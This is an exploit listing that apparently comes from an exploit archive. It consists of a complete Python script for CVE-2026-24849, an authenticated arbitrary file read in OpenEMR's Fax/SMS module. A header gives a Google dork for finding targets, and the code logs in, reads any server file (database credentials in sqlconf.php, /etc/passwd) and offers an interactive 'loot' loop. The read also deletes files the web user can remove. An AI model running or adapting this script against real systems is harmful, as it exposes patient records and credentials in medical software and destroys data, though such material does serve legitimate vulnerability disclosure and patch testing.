Share
## https://sploitus.com/exploit?id=PACKETSTORM:222862
# Exploit Title: OpenEMR 7.0.2 - Arbitrary File Read  
    # Google Dork: intitle:"OpenEMR" inurl:"interface/login/login.php"
    # Date: 2026-06-06
    # Exploit Author: doany1
    # Vendor Homepage: https://www.open-emr.org/
    # Software Link: https://sourceforge.net/projects/openemr/files/OpenEMR%20Current/7.0.2/openemr-7.0.2.tar.gz/download
    # Version: OpenEMR < 7.0.4 (tested on 7.0.2)
    # Tested on: Ubuntu 22.04 / PHP 8.1 / Apache 2.4 (OpenEMR 7.0.2)
    # CVE : CVE-2026-24849
    # CWE : CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
    #
    # Description:
    #   The Fax/SMS module's EtherFaxActions::disposeDoc() method
    #   (interface/modules/custom_modules/oe-module-faxsms) reads a caller-supplied
    #   `file_path` request parameter and passes it straight to readfile() with no
    #   path validation. The method never calls authenticate(), so the only thing
    #   required to reach it is a valid OpenEMR session.
    #
    # Privilege required:
    #   ANY authenticated user -- this is NOT an admin-only bug. A low-privilege
    #   account (receptionist, clinician, etc.) can read any file the web-server
    #   user can reach: sites/default/sqlconf.php (DB credentials), /etc/passwd,
    #   application source, and so on. The admin/pass values in the examples below
    #   are only convenient demo credentials, not a requirement of the bug.
    #
    # Prerequisites:
    #   - Any valid OpenEMR login (no privileges required).
    #   - The Fax/SMS module enabled with EtherFax selected as the fax provider
    #     (the file read does NOT require a real EtherFax account).
    #
    # WARNING (destructive):
    #   disposeDoc() calls unlink() on the target *after* reading it. Reading a file
    #   that the web-server user is allowed to delete WILL remove it. Prefer
    #   root-owned targets (e.g. /etc/passwd) whose parent directory the web user
    #   cannot write, so the unlink() fails and the file survives.
    #
    # References:
    #   https://github.com/openemr/openemr/security/advisories/GHSA-w6vc-hx2x-48pc
    #   https://nvd.nist.gov/vuln/detail/CVE-2026-24849
    #
    # Usage:
    #   Interactive (prompts for everything):
    #     python3 exploit-CVE-2026-24849.py
    #   Non-interactive:
    #     python3 exploit-CVE-2026-24849.py -t http://10.10.10.10 -u admin -P pass \
    #         -f /var/www/html/openemr/sites/default/sqlconf.php
    
    import argparse
    import getpass
    import re
    import sys
    
    try:
        import requests
        from urllib3.exceptions import InsecureRequestWarning
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    except ImportError:
        sys.exit("[-] This exploit needs the 'requests' module:  pip3 install requests")
    
    UA = "Mozilla/5.0 (X11; Linux x86_64; rv:115.0) Gecko/20100101 Firefox/115.0"
    FAXSMS = "/interface/modules/custom_modules/oe-module-faxsms/index.php"
    # Method name varies across affected minor versions (disposeDoc <-> disposeDocument).
    ACTIONS = ["disposeDoc", "disposeDocument"]
    # An unauthenticated request is answered with a JS redirect to this path.
    # (Use a narrow marker: every OpenEMR page embeds generic timeout JS.)
    FAIL_MARKER = "login_screen.php?error=1"
    
    
    def ask(prompt, default=None, secret=False):
        label = "%s [%s]: " % (prompt, default) if default else "%s: " % prompt
        value = getpass.getpass(label) if secret else input(label).strip()
        return value or default
    
    
    def login(sess, base, site, user, password):
        """Establish an OpenEMR session in `sess`. Validity is confirmed later by an
        actual file read, so this just performs the GET (CSRF prime) + POST."""
        # 1) prime a session cookie and grab the CSRF token if the form exposes one
        r = sess.get(base + "/interface/login/login.php",
                     params={"site": site}, timeout=20, verify=False)
        m = re.search(r"csrf_token_form.*?value=([\"'])(.*?)\1", r.text, re.S)
    
        data = {
            "new_login_session_management": "1",
            "authProvider": "Default",
            "authUser": user,
            "clearPass": password,
            "languageChoice": "1",
        }
        if m:  # OpenEMR doesn't enforce it on this POST, but send it when present
            data["csrf_token_form"] = m.group(2)
    
        # 2) authenticate
        sess.post(base + "/interface/main/main_screen.php",
                  params={"auth": "login", "site": site},
                  data=data, timeout=20, verify=False)
    
    
    def read_file(sess, base, site, remote_path):
        """Return (content, status). status in {ok, session, missing}."""
        for action in ACTIONS:
            r = sess.get(base + FAXSMS,
                         params={"site": site, "type": "fax",
                                 "_ACTION_COMMAND": action,
                                 "file_path": remote_path, "action": "download"},
                         timeout=20, verify=False)
            body = r.text
            if FAIL_MARKER in body:
                return None, "session"
            if "Problem with download" in body:
                return None, "missing"            # method ran, file absent/unreadable
            if body.strip() == "":
                continue                          # likely wrong method name -> try next
            return body, "ok"
        return None, "missing"
    
    
    def main():
        ap = argparse.ArgumentParser(
            description="OpenEMR < 7.0.4 authenticated arbitrary file read (CVE-2026-24849)")
        ap.add_argument("-t", "--target", help="Base URL, e.g. http://10.10.10.10")
        ap.add_argument("-u", "--user", help="OpenEMR username (default: admin)")
        ap.add_argument("-P", "--password", help="OpenEMR password")
        ap.add_argument("-s", "--site", help="OpenEMR site (default: default)")
        ap.add_argument("-f", "--file", help="Absolute path of the remote file to read")
        ap.add_argument("-o", "--output", help="Save looted file here instead of printing")
        args = ap.parse_args()
    
        print("[*] OpenEMR < 7.0.4 - Authenticated Arbitrary File Read (CVE-2026-24849)\n")
    
        target = args.target or ask("Target base URL (e.g. http://10.10.10.10)")
        if not target:
            sys.exit("[-] Target is required.")
        target = target.rstrip("/")
        if not target.startswith("http"):
            target = "http://" + target
    
        user = args.user or ask("Username", default="admin")
        password = args.password if args.password is not None else ask("Password", secret=True)
        site = args.site or ask("Site", default="default")
    
        sess = requests.Session()
        sess.headers.update({"User-Agent": UA})
    
        try:
            print("[*] Authenticating to %s as '%s' ..." % (target, user))
            login(sess, target, site, user, password)
            # Confirm auth + that the vulnerable module is reachable by reading a
            # safe, root-owned probe file (its unlink() fails, so it is not deleted).
            _, status = read_file(sess, target, site, "/etc/hostname")
        except requests.RequestException as e:
            sys.exit("[-] Connection error: %s" % e)
    
        if status == "session":
            sys.exit("[-] Login failed - check credentials / site.")
        if status == "missing":
            print("[!] Logged in, but the file-read returned nothing.")
            print("    Confirm the Fax/SMS module is enabled with EtherFax as the provider.\n")
        else:
            print("[+] Authenticated; CVE-2026-24849 file-read confirmed.\n")
    
        def loot(path):
            try:
                data, status = read_file(sess, target, site, path)
            except requests.RequestException as e:
                print("[-] Connection error: %s" % e)
                return "error"
            if status == "session":
                print("[-] Session rejected (auth/ACL problem).")
            elif status == "missing":
                print("[-] '%s' not found/readable, or Fax/SMS+EtherFax is not enabled." % path)
            else:
                if args.output:
                    with open(args.output, "w") as fh:
                        fh.write(data)
                    print("[+] %d bytes of '%s' written to %s" % (len(data), path, args.output))
                else:
                    print("[+] ---------- %s ----------" % path)
                    sys.stdout.write(data if data.endswith("\n") else data + "\n")
                    print("[+] --------------------------")
            return status
    
        # single-shot mode
        if args.file:
            status = loot(args.file)
            sys.exit(0 if status == "ok" else 2)
    
        # interactive mode: read files until the operator quits
        print("[*] Interactive read - enter absolute file paths (blank or 'q' to quit).")
        print("    Reminder: disposeDoc() unlink()s the target after reading - prefer root-owned files.\n")
        while True:
            path = ask("file_path(Which file would you like to see e.g /etc/passwd)")
            if not path or path.lower() in ("q", "quit", "exit"):
                break
            loot(path)
            print()
    
    
    if __name__ == "__main__":
        main()